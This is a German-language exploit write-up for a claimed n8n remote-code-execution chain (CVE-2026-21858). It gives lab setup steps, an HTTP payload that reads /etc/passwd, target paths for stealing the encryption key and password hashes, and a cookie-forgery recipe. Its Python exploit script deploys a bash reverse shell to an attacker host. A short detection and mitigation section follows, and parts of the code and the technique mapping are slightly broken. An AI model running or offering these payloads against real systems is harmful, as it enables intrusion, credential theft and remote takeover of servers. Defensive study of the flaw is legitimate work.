
# Technische Prüfung und Reproduktion von CVE-2026-21858, einer n8n-RCE-Kette, die Content-Type-Verwirrung für beliebiges Dateilesen, Sitzungsfälschung und Befehlsausführung ausnutzt.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE Full Chain Exploit
Dieses technische Audit basiert auf den Erkenntnissen von Dor Attias von Cyera Research Labs (9. November 2025) und enthält gebrauchsfertige Reproduktionsschritte für REmnux/Kali-Linux-Laborumgebungen.
Wichtige Informationen: Ziel: n8n-Versionen >=1.65.0 bis <1.121.0.
Angriffsvektor: Netzwerk (HTTP/HTTPS).
Komplexität: Niedrig.
Auswirkung: Vollständig (Vertraulichkeit, Integrität und Verfügbarkeit).
EPSS-Score: 0.97 (Sehr hohe Ausbeutungswahrscheinlichkeit).
Normaler Ablauf: Eine multipart/form-data-Anfrage wird von parseFormData() verarbeitet (unter Verwendung des Formidable-Parsers), das das Objekt req.body.files korrekt befüllt.
Verwundbarer Zustand: Wenn ein Angreifer eine Anfrage mit Content-Type: application/json übermittelt, ruft die Middleware parseBody() auf. Das übermittelte JSON wird dann direkt in req.body geparst, was die Eigenschaft req.body.files ohne weitere Validierung fatal überschreibt.
Ausbeutung: Die Funktion formWebhook -> prepareFormReturnItem() ruft blind copyBinaryFile(req.body.files[0].filepath) auf und vertraut dem im JSON angegebenen Dateipfad, wodurch beliebige lokale Dateien in den zugänglichen Workflow-Speicher kopiert werden.
Voraussetzungen: Docker & Docker Compose.
Python 3 mit den Bibliotheken requests, pyjwt und cryptography.
Netcat (nc) oder Burp Suite zum Erfassen der Shell.
Bereitstellungsschritte: Verwundbare Instanz ausführen:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Admin-Initialisierung: Zugriff auf http://localhost:5678, ein Admin-Konto erstellen (z. B. [email protected] / Password123!).
Workflow-Konfiguration: Einen neuen Workflow mit einem „Form Trigger“-Knoten erstellen, der ein Feld „Datei-Upload“ enthält. Aktivieren Sie den Workflow und notieren Sie die „Test-URL“.
HTTP-Anfrage-Payload:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Strategische Ziele:
/home/node/.n8n/config: Zum Stehlen des N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: Zum Extrahieren von Benutzer-Passwort-Hashes.
Phase 2: Authentifizierungsumgehung (Sitzungsfälschung) Sobald der Verschlüsselungsschlüssel und die Benutzerdaten erlangt wurden, kann das n8n-auth-Cookie gefälscht werden.
Logik der Sitzungsfälschung:
Payload: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Signierung: Signiert mit dem N8N_ENCRYPTION_KEY unter Verwendung des HS256-Algorithmus.
Ergebnis: Das generierte Cookie ermöglicht vollen administrativen Zugriff ohne den normalen Anmeldeprozess.
Phase 3: Remote Code Execution (RCE) Als Admin (über das gefälschte Cookie) können wir die Erstellung eines neuen Workflows mit einem „Execute Command“-Knoten automatisieren.
Befehls-Payload: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Netzwerk-Indikatoren (IDS/IPS): Suricata-Signatur: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomalie: POST-Anfragen mit Content-Type: application/json, die an den Endpunkt /webhook/*/form-endpoint gesendet werden.
Host-basierte Forensik: Dateisystem: Suche nach verdächtigen Textdateien im Verzeichnis ~/.n8n/files/, die Systemdaten enthalten (z. B. /etc/passwd).
Protokolle: Prüfen Sie die n8n-Protokolle auf Aktivitäten der Funktion prepareFormReturnItem ohne begleitende Multipart-Daten.
Docker Inspect: Stellen Sie sicher, dass die Image-Version unter 1.121.0 liegt.
Workaround: Wenn ein Patchen nicht möglich ist, beschränken Sie den Zugriff auf den /webhook-Endpunkt mithilfe einer Web Application Firewall (WAF), um verdächtige JSON-Anfragen zu blockieren.
Netzwerksegmentierung: Isolieren Sie n8n-Instanzen von sensiblen internen Netzwerken, um im Falle eines Eindringens eine laterale Bewegung zu verhindern.
Execution: T1059 (Command and Scripting Interpreter)
Persistence: T1098 (Account Manipulation via Session Forgery)
Exfiltration: T1083 (File and Directory Discovery)
HAFTUNGSAUSSCHLUSS: Diese Analyse wird ausschließlich zu Bildungszwecken, für Sicherheitsaudits und zur professionellen Cyberabwehr unter der Anleitung von Master SASTRA_ADI_WIGUNA bereitgestellt. Jeglicher Missbrauch dieser Informationen für illegale Aktivitäten liegt in der alleinigen Verantwortung des Betreibers. Produktions-Patching ist obligatorisch.